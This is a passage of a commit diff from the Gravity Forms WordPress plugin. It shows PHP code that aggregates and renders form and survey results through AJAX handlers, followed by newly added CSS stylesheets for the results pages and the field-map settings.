$tooltips['gresults_filters'] = '<h6>' . esc_html__( 'Filters', 'gravityforms' ) . '</h6>' . esc_html__( 'Narrow the results by adding filters. Note that some field types support more options than others.', 'gravityforms' );
$tooltips['gresults_average_row_score'] = '<h6>' . esc_html__( 'Average Row Score', 'gravityforms' ) . '</h6>' . esc_html__( 'The average (mean) score for each row: the sum of all the scores for each row divided by the total number of entries.', 'gravityforms' );
$tooltips['gresults_average_global_score'] = '<h6>' . esc_html__( 'Average Global Score', 'gravityforms' ) . '</h6>' . esc_html__( 'The average (mean) score for the whole field. The sum of the total scores divided by the number of entries.', 'gravityforms' );
$tooltips['gresults_average_score'] = '<h6>' . esc_html__( 'Average Score', 'gravityforms' ) . '</h6>' . esc_html__( 'The average (mean) score: The sum of the scores divided by the number of entries.', 'gravityforms' );
return $tooltips;
}
public function ajax_get_results() {
check_ajax_referer( 'gf_results', '_gf_results_nonce' );
if ( ! GFAPI::current_user_can_any( $this->_capabilities ) ) {
wp_die( 'Not allowed' );
}
// tooltips
require_once( GFCommon::get_base_path() . '/tooltips.php' );
add_filter( 'gform_tooltips', array( $this, 'add_tooltips' ) );
$output = array();
$html = '';
$form_id = rgpost( 'id' );
$form_id = absint( $form_id );
$form = GFFormsModel::get_form_meta( $form_id );
$form = gf_apply_filters( array( 'gform_form_pre_results', $form_id ), $form );
$search_criteria['status'] = 'active';
$fields = $this->get_fields( $form );
$total_entries = GFAPI::count_entries( $form_id, $search_criteria );
if ( $total_entries == 0 ) {
$html = esc_html__( 'No results.', 'gravityforms' );
} else {
$search_criteria = array();
$search_criteria['field_filters'] = GFCommon::get_field_filters_from_post( $form );
$start_date = preg_replace( '/[^0-9-]/', '', rgpost( 'start' ) );
$end_date = preg_replace( '/[^0-9-]/', '', rgpost( 'end' ) );
if ( $start_date ) {
$search_criteria['start_date'] = $start_date;
}
if ( $end_date ) {
$search_criteria['end_date'] = $end_date;
}
$search_criteria['status'] = 'active';
$output['s'] = http_build_query( $search_criteria );
$state_array = null;
if ( isset( $_POST['state'] ) ) {
$state = $_POST['state'];
$posted_check_sum = rgpost( 'checkSum' );
$generated_check_sum = self::generate_checksum( $state );
$state_array = json_decode( base64_decode( $state ), true );
if ( $generated_check_sum !== $posted_check_sum ) {
$output['status'] = 'complete';
$output['html'] = esc_html__( 'There was an error while processing the entries. Please contact support.', 'gravityforms' );
echo json_encode( $output );
die();
}
}
$data = isset( $this->_callbacks['data'] ) ? call_user_func( $this->_callbacks['data'], $form, $fields, $search_criteria, $state_array ) : $this->get_results_data( $form, $fields, $search_criteria, $state_array );
$entry_count = $data['entry_count'];
if ( 'incomplete' === rgar( $data, 'status' ) ) {
$state = base64_encode( json_encode( $data ) );
$output['status'] = 'incomplete';
$output['stateObject'] = $state;
$output['checkSum'] = self::generate_checksum( $state );
$output['html'] = sprintf( esc_html__( 'Entries processed: %1$d of %2$d', 'gravityforms' ), rgar( $data, 'offset' ), $entry_count );
echo json_encode( $output );
die();
}
if ( $total_entries > 0 ) {
$html = isset( $this->_callbacks['markup'] ) ? call_user_func( $this->_callbacks['markup'], $html, $data, $form, $fields ) : '';
if ( empty( $html ) ) {
foreach ( $fields as $field ) {
$field_id = $field->id;
$html .= "<div class='gresults-results-field' id='gresults-results-field-{$field_id}'>";
$html .= "<div class='gresults-results-field-label'>" . esc_html( GFCommon::get_label( $field ) ) . '</div>';
$html .= '<div>' . self::get_field_results( $form_id, $data, $field, $search_criteria ) . '</div>';
$html .= '</div>';
}
}
} else {
$html .= esc_html__( 'No results', 'gravityforms' );
}
}
$output['html'] = $html;
$output['status'] = 'complete';
$output['searchCriteria'] = $search_criteria;
echo json_encode( $output );
die();
}
public function ajax_get_more_results() {
check_ajax_referer( 'gf_results', '_gf_results_nonce' );
if ( ! GFAPI::current_user_can_any( $this->_capabilities ) ) {
wp_die( 'Not allowed' );
}
$form_id = rgpost( 'form_id' );
$field_id = rgpost( 'field_id' );
$offset = rgpost( 'offset' );
$search_criteria = rgpost( 'search_criteria' );
if ( empty( $search_criteria ) ) {
$search_criteria = array();
}
$page_size = 10;
$form = RGFormsModel::get_form_meta( $form_id );
$form_id = $form['id'];
$field = RGFormsModel::get_field( $form, $field_id );
$more_remaining = false;
$html = self::get_default_field_results( $form_id, $field, $search_criteria, $offset, $page_size, $more_remaining );
$response = array();
$response['more_remaining'] = $more_remaining;
$response['html'] = $html;
$response['offset'] = $offset;
echo json_encode( $response );
die();
}
private static function generate_checksum( $data ) {
return wp_hash( crc32( ( $data ) ) );
}
public static function get_total_entries( $form ) {
$totals = RGFormsModel::get_form_counts( $form['id'] );
return $totals['total'];
}
public static function get_field_results( $form_id, $data, $field, $search_criteria ) {
if ( empty( $data['entry_count'] ) || empty ( $data['field_data'] ) ) {
return esc_html__( 'No entries for this field', 'gravityforms' );
}
$field_data = $data['field_data'];
$entry_count = $data['entry_count'];
if ( empty( $field_data[ $field->id ] ) ) {
return esc_html__( 'No entries for this field', 'gravityforms' );
}
$field_results = '';
$field_type = GFFormsModel::get_input_type( $field );
switch ( $field_type ) {
case 'radio' :
case 'checkbox' :
case 'select' :
case 'rating' :
case 'multiselect' :
$results = $field_data[ $field->id ];
$non_zero_results = is_array( $results ) ? array_filter( $results ) : $results;
if ( empty( $non_zero_results ) ) {
$field_results .= esc_html__( 'No entries for this field', 'gravityforms' );
return $field_results;
}
$choices = $field->choices;
$data_table = array();
$data_table [] = array( esc_html__( 'Choice', 'gravityforms' ), esc_html__( 'Frequency', 'gravityforms' ) );
foreach ( $choices as $choice ) {
$text = $choice['text'];
$val = $results[ $choice['value'] ];
$data_table [] = array( $text, $val );
}
$bar_height = 40;
$chart_area_height = ( count( $choices ) * $bar_height );
$chart_options = array(
'isStacked' => true,
'height' => ( $chart_area_height + $bar_height ),
'chartArea' => array(
'top' => 0,
'left' => 200,
'height' => $chart_area_height,
'width' => '100%',
),
'series' => array(
'0' => array(
'color' => 'silver',
'visibleInLegend' => 'false',
)
),
'hAxis' => array(
'viewWindowMode' => 'explicit',
'viewWindow' => array( 'min' => 0 ),
'title' => esc_html__( 'Frequency', 'gravityforms' ),
)
);
$data_table_json = htmlentities( json_encode( $data_table ), ENT_QUOTES, 'UTF-8', true );
$options_json = htmlentities( json_encode( $chart_options ), ENT_QUOTES, 'UTF-8', true );
$div_id = 'gresults-results-chart-field-' . $field->id;
$height = ''; // = sprintf("height:%dpx", (count($choices) * $bar_height));
$field_results .= sprintf( '<div class="gresults-chart-wrapper" style="width: 100%%;%s" id=%s data-datatable=\'%s\' data-options=\'%s\' data-charttype="bar" ></div>', $height, $div_id, $data_table_json, $options_json );
break;
case 'likert' :
$results = $field_data[ $field->id ];
$multiple_rows = $field->gsurveyLikertEnableMultipleRows ? true : false;
$scoring_enabled = $field->gsurveyLikertEnableScoring && class_exists( 'GFSurvey' ) ? true : false;
$n = 100;
$xr = 255;
$xg = 255;
$xb = 255;
$yr = 100;
$yg = 250;
$yb = 100;
$field_results .= "<div class='gsurvey-likert-field-results'>";
$field_results .= "<table class='gsurvey-likert'>";
$field_results .= '<tr>';
if ( $multiple_rows ) {
$field_results .= '<td></td>';
}
foreach ( $field->choices as $choice ) {
$field_results .= "<td class='gsurvey-likert-choice-label'>" . $choice['text'] . '</td>';
}
if ( $multiple_rows && $scoring_enabled ) {
$field_results .= sprintf( '<td>%s %s</td>', esc_html__( 'Average Score', 'gravityforms' ), gform_tooltip( 'gresults_average_row_score', null, true ) );
}
$field_results .= '</tr>';
foreach ( $field->gsurveyLikertRows as $row ) {
$row_text = $row['text'];
$row_value = $row['value'];
$max = 0;
foreach ( $field->choices as $choice ) {
if ( $multiple_rows ) {
$choice_value = rgar( $choice, 'value' );
$results_row = rgar( $results, $row_value );
$results_for_choice = rgar( $results_row, $choice_value );
$max = max( array( $max, $results_for_choice ) );
} else {
$max = max( array( $max, $results[ $choice['value'] ] ) );
}
}
$field_results .= '<tr>';
if ( $multiple_rows ) {
$field_results .= "<td class='gsurvey-likert-row-label'>" . $row_text . '</td>';
}
foreach ( $field->choices as $choice ) {
$val = $multiple_rows ? $results[ $row_value ][ $choice['value'] ] : $results[ $choice['value'] ];
$percent = $max > 0 ? round( $val / $max * 100, 0 ) : 0;
$red = (int) ( ( $xr + ( ( $percent * ( $yr - $xr ) ) / ( $n - 1 ) ) ) );
$green = (int) ( ( $xg + ( ( $percent * ( $yg - $xg ) ) / ( $n - 1 ) ) ) );
$blue = (int) ( ( $xb + ( ( $percent * ( $yb - $xb ) ) / ( $n - 1 ) ) ) );
$clr = 'rgb(' . $red . ',' . $green . ',' . $blue . ')';
$field_results .= "<td class='gsurvey-likert-results' style='background-color:{$clr}'>" . $val . '</td>';
}
if ( $multiple_rows && $scoring_enabled ) {
$row_sum = $results[ $row_value ]['row_score_sum'];
$average_row_score = $row_sum == 0 ? 0 : round( $row_sum / $entry_count, 3 );
$field_results .= "<td class='gsurvey-likert-results'>" . $average_row_score . '</td>';
}
$field_results .= '</tr>';
if ( false === $multiple_rows ) {
break;
}
}
$field_results .= '</table>';
$field_results .= '</div>';
if ( $scoring_enabled ) {
$sum = $results['sum_of_scores'];
$average_score = $sum == 0 ? 0 : round( $sum / $entry_count, 3 );
if ( $multiple_rows ) {
$average_global_score_tooltip = gform_tooltip( 'gresults_average_global_score', null, true );
$field_results .= sprintf( "<div class='gsurvey-likert-score'>%s %s: %s</div>", esc_html__( 'Average global score', 'gravityforms' ), $average_global_score_tooltip, $average_score );
} else {
$field_results .= sprintf( "<div class='gsurvey-likert-score'>%s %s: %s</div>", esc_html__( 'Average score', 'gravityforms' ), gform_tooltip( 'gresults_average_score', null, true ), $average_score );
}
}
break;
case 'rank' :
$results = $field_data[ $field->id ];
arsort( $results );
$field_results .= "<div class='gsurvey-rank-field-results'>";
$field_results .= ' <table>';
$field_results .= " <tr class='gresults-results-field-table-header'>";
$field_results .= " <td class='gresults-rank-field-label'>";
$field_results .= esc_html__( 'Item', 'gravityforms' );
$field_results .= ' </td>';
$field_results .= " <td class='gresults-rank-field-score'>";
$field_results .= esc_html__( 'Total Score', 'gravityforms' ) . '&nbsp;' . gform_tooltip( 'gresults_total_score', null, true );
$field_results .= ' </td>';
$field_results .= " <td class='gresults-rank-field-rank'>";
$field_results .= esc_html__( 'Aggregate Rank', 'gravityforms' ) . '&nbsp;' . gform_tooltip( 'gresults_agg_rank', null, true );
$field_results .= ' </td>';
$field_results .= ' </tr>';
$agg_rank = 1;
foreach ( $results as $choice_val => $score ) {
$field_results .= '<tr>';
$field_results .= " <td class='gresults-rank-field-label' style='text-align:left;'>";
$field_results .= RGFormsModel::get_choice_text( $field, $choice_val );
$field_results .= ' </td>';
$field_results .= " <td class='gresults-rank-field-score'>";
$field_results .= $score;
$field_results .= ' </td>';
$field_results .= " <td class='gresults-rank-field-rank'>";
$field_results .= $agg_rank;
$field_results .= ' </td>';
$field_results .= '</tr>';
$agg_rank ++;
}
$field_results .= '</table>';
$field_results .= '</div>';
break;
default :
$page_size = 5;
$offset = 0;
$field_id = $field->id;
$more_remaining = false;
$default_field_results = self::get_default_field_results( $form_id, $field, $search_criteria, $offset, $page_size, $more_remaining );
$field_results .= "<div class='gresults-results-field-sub-label'>" . esc_html__( 'Latest values:', 'gravityforms' ) . '</div>';
$field_results .= "<ul id='gresults-results-field-content-{$field_id}' class='gresults-results-field-content' data-offset='{$offset}'>";
$field_results .= $default_field_results;
$field_results .= '</ul>';
if ( $more_remaining ) {
$field_results .= "<a id='gresults-results-field-more-link-{$field_id}' class='gresults-results-field-more-link' href='javascript:void(0)' onclick='gresults.getMoreResults({$form_id},{$field_id})' onkeypress='gresults.getMoreResults({$form_id},{$field_id})'>" . esc_html__( 'Show more', 'gravityforms' ) . '</a>';
}
break;
}
return $field_results;
}
public function get_results_data( $form, $fields, $search_criteria = array(), $state_array = array(), $max_execution_time = 15 /* seconds */ ) {
// todo: add hooks to modify $max_execution_time and $page_size?
$page_size = 150;
$time_start = microtime( true );
$form_id = $form['id'];
$data = array();
$offset = 0;
$entry_count = 0;
$field_data = array();
if ( $state_array ) {
//get counts from state
$data = $state_array;
$offset = (int) rgar( $data, 'offset' );
unset( $data['offset'] );
$entry_count = $offset;
$field_data = rgar( $data, 'field_data' );
} else {
//initialize counts
foreach ( $fields as $field ) {
$field_type = GFFormsModel::get_input_type( $field );
if ( false === isset( $field->choices ) ) {
$field_data[ $field->id ] = 0;
continue;
}
$choices = $field->choices;
if ( $field_type == 'likert' && rgar( $field, 'gsurveyLikertEnableMultipleRows' ) ) {
foreach ( $field->gsurveyLikertRows as $row ) {
foreach ( $choices as $choice ) {
$field_data[ $field->id ][ $row['value'] ][ $choice['value'] ] = 0;
}
if ( rgar( $field, 'gsurveyLikertEnableScoring' ) ) {
$field_data[ $field->id ][ $row['value'] ]['row_score_sum'] = 0;
}
}
} else {
if ( ! empty( $choices ) && is_array( $choices ) ) {
foreach ( $choices as $choice ) {
$field_data[ $field->id ][ $choice['value'] ] = 0;
}
} else {
$field_data[ $field->id ] = 0;
}
}
if ( $field_type == 'likert' && rgar( $field, 'gsurveyLikertEnableScoring' ) ) {
$field_data[ $field->id ]['sum_of_scores'] = 0;
}
}
}
$count_search_leads = GFAPI::count_entries( $form_id, $search_criteria );
$data['entry_count'] = $count_search_leads;
$entries_left = $count_search_leads - $offset;
while ( $entries_left > 0 ) {
$paging = array(
'offset' => $offset,
'page_size' => $page_size,
);
$search_leads_time_start = microtime( true );
$leads = GFFormsModel::search_leads( $form_id, $search_criteria, null, $paging );
$search_leads_time_end = microtime( true );
$search_leads_time = $search_leads_time_end - $search_leads_time_start;
$leads_in_search = count( $leads );
$entry_count += $leads_in_search;
$leads_processed = 0;
foreach ( $leads as $lead ) {
$lead_time_start = microtime( true );
foreach ( $fields as $field ) {
$field_type = GFFormsModel::get_input_type( $field );
$field_id = $field->id;
$value = RGFormsModel::get_lead_field_value( $lead, $field );
if ( $field_type == 'likert' && rgar( $field, 'gsurveyLikertEnableMultipleRows' ) ) {
if ( empty( $value ) ) {
continue;
}
foreach ( $value as $value_vector ) {
if ( empty( $value_vector ) ) {
continue;
}
list( $row_val, $col_val ) = explode( ':', $value_vector, 2 );
if ( isset( $field_data[ $field->id ][ $row_val ] ) && isset( $field_data[ $field->id ][ $row_val ][ $col_val ] ) ) {
$field_data[ $field->id ][ $row_val ][ $col_val ] ++;
if ( $field->gsurveyLikertEnableScoring ) {
$field_data[ $field->id ][ $row_val ]['row_score_sum'] += $this->get_likert_row_score( $row_val, $field, $lead );
}
}
}
} elseif ( $field_type == 'rank' ) {
$score = count( rgar( $field, 'choices' ) );
$values = explode( ',', $value );
foreach ( $values as $ranked_value ) {
$field_data[ $field->id ][ $ranked_value ] += $score;
$score --;
}
} else {
if ( empty( $field->choices ) ) {
if ( false === empty( $value ) ) {
$field_data[ $field_id ] ++;
}
continue;
}
$choices = $field->choices;
foreach ( $choices as $choice ) {
$choice_is_selected = false;
if ( is_array( $value ) ) {
$choice_value = rgar( $choice, 'value' );
if ( in_array( $choice_value, $value ) ) {
$choice_is_selected = true;
}
} else {
if ( RGFormsModel::choice_value_match( $field, $choice, $value ) ) {
$choice_is_selected = true;
}
}
if ( $choice_is_selected ) {
$field_data[ $field_id ][ $choice['value'] ] ++;
}
}
}
if ( $field_type == 'likert' && rgar( $field, 'gsurveyLikertEnableScoring' ) ) {
$field_data[ $field->id ]['sum_of_scores'] += $this->get_likert_score( $field, $lead );
}
}
$leads_processed ++;
$lead_time_end = microtime( true );
$total_execution_time = $lead_time_end - $search_leads_time_start;
$lead_execution_time = $lead_time_end - $lead_time_start;
if ( $total_execution_time + $lead_execution_time > $max_execution_time ) {
break;
}
}
$data['field_data'] = $field_data;
if ( isset( $this->_callbacks['calculation'] ) ) {
$data = call_user_func( $this->_callbacks['calculation'], $data, $form, $fields, $leads );
$field_data = $data['field_data'];
}
$offset += $leads_processed;
$entries_left -= $leads_processed;
$time_end = microtime( true );
$execution_time = ( $time_end - $time_start );
if ( $entries_left > 0 && $execution_time + $search_leads_time > $max_execution_time ) {
$data['status'] = 'incomplete';
$data['offset'] = $offset;
$progress = $data['entry_count'] > 0 ? round( $data['offset'] / $data['entry_count'] * 100 ) : 0;
$data['progress'] = $progress;
break;
}
if ( $entries_left <= 0 ) {
$data['status'] = 'complete';
}
}
$data['timestamp'] = time();
return $data;
}
public function get_likert_row_score( $row_val, $field, $entry ) {
return is_callable( array(
'GFSurvey',
'get_likert_row_score',
) ) ? GFSurvey::get_likert_row_score( $row_val, $field, $entry ) : 0;
}
public function get_likert_score( $field, $entry ) {
return is_callable( array(
'GFSurvey',
'get_field_score',
) ) ? GFSurvey::get_field_score( $field, $entry ) : 0;
}
public static function get_default_field_results( $form_id, $field, $search_criteria, &$offset, $page_size, &$more_remaining = false ) {
$field_results = '';
$sorting = array( 'key' => 'date_created', 'direction' => 'DESC' );
$c = 0;
do {
$paging = array( 'offset' => $offset, 'page_size' => $page_size );
$leads = GFFormsModel::search_leads( $form_id, $search_criteria, $sorting, $paging );
foreach ( $leads as $lead ) {
$value = RGFormsModel::get_lead_field_value( $lead, $field );
$content = apply_filters( 'gform_entries_field_value', $value, $form_id, $field->id, $lead );
if ( is_array( $content ) ) {
$content = join( ' ', $content );
}
if ( ! empty( $content ) ) {
$field_results .= "<li>{$content}</li>";
$c ++;
}
}
$offset += $page_size;
} while ( $c < $page_size && ! empty( $leads ) );
if ( ! empty( $leads ) ) {
$more_remaining = true;
}
return $field_results;
}
}
}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,60 @@
.settings-field-map-table { }
.settings-field-map-table thead th { font-weight: bold; border-bottom: 1px solid #ccc; }
.settings-field-map-table tbody td { border-bottom: 1px dotted #eee; }
.settings-field-map-table select { max-width: 90%; }
.settings-field-map-table .custom-key-reset,
.settings-field-map-table .custom-value-reset,
.gaddon-setting-select-custom-container .select-custom-reset {
background: url( ../../../images/xit.gif ) no-repeat scroll 0 0 transparent;
cursor:pointer;
display:none;
position:absolute;
text-indent:-9999px;
width:10px;
height: 10px;
-moz-transition: none;
-webkit-transition: none;
-o-transition: color 0 ease-in;
transition: none;
}
.settings-field-map-table .custom-key-reset {
margin-top: 10px;
margin-left: 165px;
}
.settings-field-map-table .repeater th { padding-left: 0px; }
.settings-field-map-table .custom-key-reset:hover,
.settings-field-map-table .custom-value-reset:hover,
.gaddon-setting-select-custom-container .select-custom-reset:hover {
background-position-x: -10px;
}
.settings-field-map-table .custom-key-container:hover .custom-key-reset,
.settings-field-map-table .custom-key-container:hover .custom-value-reset,
.gaddon-setting-select-custom-container:hover .select-custom-reset {
display:block;
}
.gaddon-setting-select-custom-container { display:inline-block;position:relative; }
.gaddon-setting-select-custom-container .select-custom-reset {
left: 171px;
top: 10px;
}
.gaddon-section .required { color: #f00; }
.gaddon-setting-inline{
display:inline;
margin-right:6px;
}
.mt-gaddon-editor {
float: right;
position: relative;
right: 21px;
top: 70px;
}
.mt-gaddon-editor ~ .wp-editor-wrap {
margin-right: 23px;
}

View File

@@ -0,0 +1 @@
.settings-field-map-table thead th{font-weight:700;border-bottom:1px solid #ccc}.settings-field-map-table tbody td{border-bottom:1px dotted #eee}.settings-field-map-table select{max-width:90%}.gaddon-setting-select-custom-container .select-custom-reset,.settings-field-map-table .custom-key-reset,.settings-field-map-table .custom-value-reset{background:url(../../../images/xit.gif) no-repeat;cursor:pointer;display:none;position:absolute;text-indent:-9999px;width:10px;height:10px;-moz-transition:none;-webkit-transition:none;-o-transition:color 0 ease-in;transition:none}.settings-field-map-table .custom-key-reset{margin-top:10px;margin-left:165px}.settings-field-map-table .repeater th{padding-left:0}.gaddon-setting-select-custom-container .select-custom-reset:hover,.settings-field-map-table .custom-key-reset:hover,.settings-field-map-table .custom-value-reset:hover{background-position-x:-10px}.gaddon-setting-select-custom-container:hover .select-custom-reset,.settings-field-map-table .custom-key-container:hover .custom-key-reset,.settings-field-map-table .custom-key-container:hover .custom-value-reset{display:block}.gaddon-setting-select-custom-container{display:inline-block;position:relative}.gaddon-setting-select-custom-container .select-custom-reset{left:171px;top:10px}.gaddon-section .required{color:red}.gaddon-setting-inline{display:inline;margin-right:6px}.mt-gaddon-editor{float:right;position:relative;right:21px;top:70px}.mt-gaddon-editor~.wp-editor-wrap{margin-right:23px}

View File

@@ -0,0 +1,265 @@
/* --------- TODO: remove quiz specific styles ------------------*/
table#gquiz-results-summary {
table-layout: fixed;
}
table#gquiz-results-summary td {
font-weight: bold;
text-align: center;
padding: 10px;
}
table#gquiz-results-summary td.gquiz-results-summary-label {
font-size: 1.2em;
}
table#gquiz-results-summary td.gquiz-results-summary-data {
font-size: 2em;
}
.gquiz-results-summary-data-box {
width: 75%;
padding: 15px 0;
min-width: 0;
margin: auto;
}
.gaddon-results-summary-secondary{
padding-top: 4px;
font-weight: normal;
font-size:13px;
}
.gaddon-results-summary-primary{
padding:5px;
}
.gquiz-field-precentages-correct {
float: left;
margin: 8px 0 0 64px;
}
/* -------------------------------------*/
table#gaddon-results-summary {
table-layout: fixed;
}
table#gaddon-results-summary td {
font-weight: bold;
text-align: center;
padding: 10px;
}
table#gaddon-results-summary td.gaddon-results-summary-label {
font-size: 1.2em;
}
table#gaddon-results-summary td.gaddon-results-summary-data {
font-size: 2em;
}
.gaddon-results-summary-data-box {
border: 1px solid silver;
padding: 10px;
width: 75%;
margin: auto;
}
.gaddon-field-precentages-correct {
float: left;
margin: 15px 0 0 50px;
}
/*-------------*/
#gresults-results {
margin-right:300px;
min-height:460px;;
}
.gresults-results-field {
margin-bottom:20px;
}
.gresults-results-field-label {
font-size: 1.2em;
padding: 0 0 14px;
}
.gresults-results-field table{
border-bottom: 1px solid silver;
border-spacing: 0;
}
.gresults-results-field table td{
padding:5px;
border-right: 1px solid silver;
border-top: 1px solid silver;
text-align:center;
}
.gresults-results-field-table-header{
background-color: #EEEEEE;
}
.gresults-results-field table td:first-child {
border-left: 1px solid silver;
}
ul.gresults-results-field-content,
ul.gresults-results-field-content li{
list-style:disc outside none;
}
ul.gresults-results-field-content{
margin:10px;
}
td.gresults-rank-field-score,
td.gresults-rank-field-rank{
width:110px;
}
.gsurvey-rank-field-results table{
width:100%;
}
/* filter box */
#gresults-results-filter {
/*position:absolute;
width:270px;*/
}
#gresults-results-filter-content {
padding:10px;
}
/*
#gresults-results-filter.sticky {
position:fixed;
top:30px;
}
*/
.gresults-results-filter-section-label {
font-size:1.2em;
font-weight:bold;
margin-top:10px;
margin-bottom:10px;
}
#gresults-results-filter label {
margin-top:10px;
display:block;
}
.gresults-remove,
.gresults-add {
margin-top:2px;
vertical-align:middle;
cursor:pointer;
}
.gresults-add {
margin-left:5px;
}
#gresults-no-filters{
color:silver;
}
.gresults-datepicker,
.gresults-filter-value,
.gresults-filter-field {
width:150px;
box-sizing:border-box;
-ms-box-sizing:border-box;
-moz-box-sizing:border-box;
-webkit-box-sizing:border-box;
height: 2em;
padding: 2px;
}
.gresults-filter-operator {
width:70px;
}
#gresults-results-filter-buttons {
clear:both;
margin-top:20px;
width:180px;
}
.gresults-results-filter-field-label {
font-size:1.1em;
font-weight:bold;
margin-bottom:10px;
}
.gresults-results-filter-field {
margin-bottom:20px;
}
.gresults-results-filter-field ul li label {
margin-left:5px;
}
.gresults-results-filter-title {
font-size:1.5em;
font-weight:bold;
}
/*
#gresults-results-filter {
visibility: hidden;
}
*/
#gresults-results-field-filters-container.resizable {
border-bottom:5px double #DDD;
min-height:120px;
}
#gresults-results-field-filters {
height:100%;
overflow-y:auto;
}
.ui-resizable {
position:relative;
}
.ui-resizable-handle {
position:absolute;
font-size:0.1px;
z-index:99999;
display:block;
}
.ui-resizable-s {
cursor:s-resize;
height:7px;
width:100%;
bottom:-5px;
left:0px;
}
.gsurvey-likert-score{
margin-top:5px;
}
/* NEW */
#gquiz-results-summary { margin: 60px 0; }
.gresults-chart-wrapper { border-top: 1px solid #dfdfdf; margin: 0 0 28px; }
.gquiz-field-precentages-correct + .gresults-chart-wrapper { margin: 0 0 14px; }
.gresults-label-group { display: block; clear: right; }
.gresults-label-group .gresults-label { display: inline-block; width: 65px; }
.gresults-group-correct .gresults-value { color: green; }
.gresults-group-incorrect .gresults-value { color: red; }

View File

@@ -0,0 +1 @@
table#gaddon-results-summary,table#gquiz-results-summary{table-layout:fixed}table#gquiz-results-summary td{font-weight:700;text-align:center;padding:10px}table#gquiz-results-summary td.gquiz-results-summary-label{font-size:1.2em}table#gquiz-results-summary td.gquiz-results-summary-data{font-size:2em}.gquiz-results-summary-data-box{width:75%;padding:15px 0;min-width:0;margin:auto}.gaddon-results-summary-secondary{padding-top:4px;font-weight:400;font-size:13px}.gaddon-results-summary-primary{padding:5px}.gquiz-field-precentages-correct{float:left;margin:8px 0 0 64px}table#gaddon-results-summary td{font-weight:700;text-align:center;padding:10px}table#gaddon-results-summary td.gaddon-results-summary-label{font-size:1.2em}table#gaddon-results-summary td.gaddon-results-summary-data{font-size:2em}.gaddon-results-summary-data-box{border:1px solid silver;padding:10px;width:75%;margin:auto}.gaddon-field-precentages-correct{float:left;margin:15px 0 0 50px}#gresults-results{margin-right:300px;min-height:460px}.gresults-results-field{margin-bottom:20px}.gresults-results-field-label{font-size:1.2em;padding:0 0 14px}.gresults-results-field table{border-bottom:1px solid silver;border-spacing:0}.gresults-results-field table td{padding:5px;border-right:1px solid silver;border-top:1px solid silver;text-align:center}.gresults-results-field-table-header{background-color:#EEE}.gresults-results-field table td:first-child{border-left:1px solid silver}ul.gresults-results-field-content,ul.gresults-results-field-content li{list-style:disc}ul.gresults-results-field-content{margin:10px}.gresults-add,.gresults-results-filter-field ul li label{margin-left:5px}td.gresults-rank-field-rank,td.gresults-rank-field-score{width:110px}.gsurvey-rank-field-results table{width:100%}#gresults-results-filter-content{padding:10px}.gresults-results-filter-section-label{font-size:1.2em;font-weight:700;margin-top:10px;margin-bottom:10px}#gresults-results-filter label{margin-top:10px;display:block}.gresults-add,.gresults-remove{margin-top:2px;vertical-align:middle;cursor:pointer}#gresults-no-filters{color:silver}.gresults-datepicker,.gresults-filter-field,.gresults-filter-value{width:150px;box-sizing:border-box;-ms-box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;height:2em;padding:2px}.gresults-filter-operator{width:70px}#gresults-results-filter-buttons{clear:both;margin-top:20px;width:180px}.gresults-results-filter-field-label{font-size:1.1em;font-weight:700;margin-bottom:10px}.gresults-results-filter-field{margin-bottom:20px}.gresults-results-filter-title{font-size:1.5em;font-weight:700}#gresults-results-field-filters-container.resizable{border-bottom:5px double #DDD;min-height:120px}#gresults-results-field-filters{height:100%;overflow-y:auto}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;z-index:99999;display:block}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.gsurvey-likert-score{margin-top:5px}#gquiz-results-summary{margin:60px 0}.gresults-chart-wrapper{border-top:1px solid #dfdfdf;margin:0 0 28px}.gquiz-field-precentages-correct+.gresults-chart-wrapper{margin:0 0 14px}.gresults-label-group{display:block;clear:right}.gresults-label-group .gresults-label{display:inline-block;width:65px}.gresults-group-correct .gresults-value{color:green}.gresults-group-incorrect .gresults-value{color:red}

View File

@@ -0,0 +1,281 @@
/* ------------------ Field Map ------------------ */
.settings-field-map-table thead th {
font-weight: bold;
}
table.settings-field-map-table tbody td {
padding: 0px 0px 8px 0px;
}
.settings-field-map-table td:first-child {
width: 220px;
}
.settings-field-map-table .repeater th, .settings-field-map-table .repeater td:nth-child(2) {
padding-left: 0px;
padding-top: 0px;
width: 220px;
}
.settings-field-map-table select {
font-family: inherit;
height: 25px;
width: 210px;
}
.settings-field-map-table .chosen-container,
.settings-field-map-table .select2-container {
width: 210px !important;
}
.settings-field-map-table .custom-key-container,
.settings-field-map-table .custom-value-container {
position: relative;
width: 220px;
}
.settings-field-map-table .custom-key-container input,
.settings-field-map-table .custom-value-container input {
width: 210px;
}
.settings-field-map-table .custom-key-container input:not(:only-child),
.settings-field-map-table .custom-value-container input:not(:only-child) {
padding-right: 30px;
}
.settings-field-map-table .custom-value-container.supports-merge-tags .all-merge-tags {
height: 25px;
position: absolute;
right: 36px;
top: 0;
}
.settings-field-map-table .custom-value-container.supports-merge-tags .all-merge-tags a {
background: url( '../images/field-map-merge.svg' ) no-repeat center;
background-size: 16px 16px;
height: 25px;
margin: 0;
width: 25px;
}
.settings-field-map-table .custom-key-reset,
.settings-field-map-table .custom-value-reset {
background: url( '../images/field-map-reset.png' ) no-repeat center #ddd;
background-size: 10px 10px;
cursor: pointer;
display: inline-block;
height: 25px;
opacity: .3;
overflow: hidden;
position: absolute;
right: 11px;
text-indent: -9999px;
top: 0;
transition: opacity .25s ease-in-out;
width: 25px;
z-index: 2;
}
.settings-field-map-table .custom-key-reset:hover,
.settings-field-map-table .custom-value-reset:hover {
opacity: 1;
}
.settings-field-map-table .add-item span,
.settings-field-map-table .remove-item span {
background: url( '../images/field-map-buttons.png' ) no-repeat center top transparent;
background-size: 20px 100px;
cursor: pointer;
display: inline-block;
height: 25px;
overflow: hidden;
text-indent: -9999px;
width: 20px;
}
.settings-field-map-table .add-item span:hover {
background-position: 0 -25px;
}
.settings-field-map-table .remove-item span {
background-position: 0 -50px;
}
.settings-field-map-table .remove-item span:hover {
background-position: 0 -75px;
}
@media screen and ( max-width: 782px ) {
.settings-field-map-table .custom-key-container input:not(:only-child),
.settings-field-map-table .custom-value-container input:not(:only-child) {
padding-right: 45px;
}
.settings-field-map-table .custom-key-reset,
.settings-field-map-table .custom-value-reset {
height: 40px;
right: 0;
width: 40px;
}
}
/* ---------------- Select Custom ---------------- */
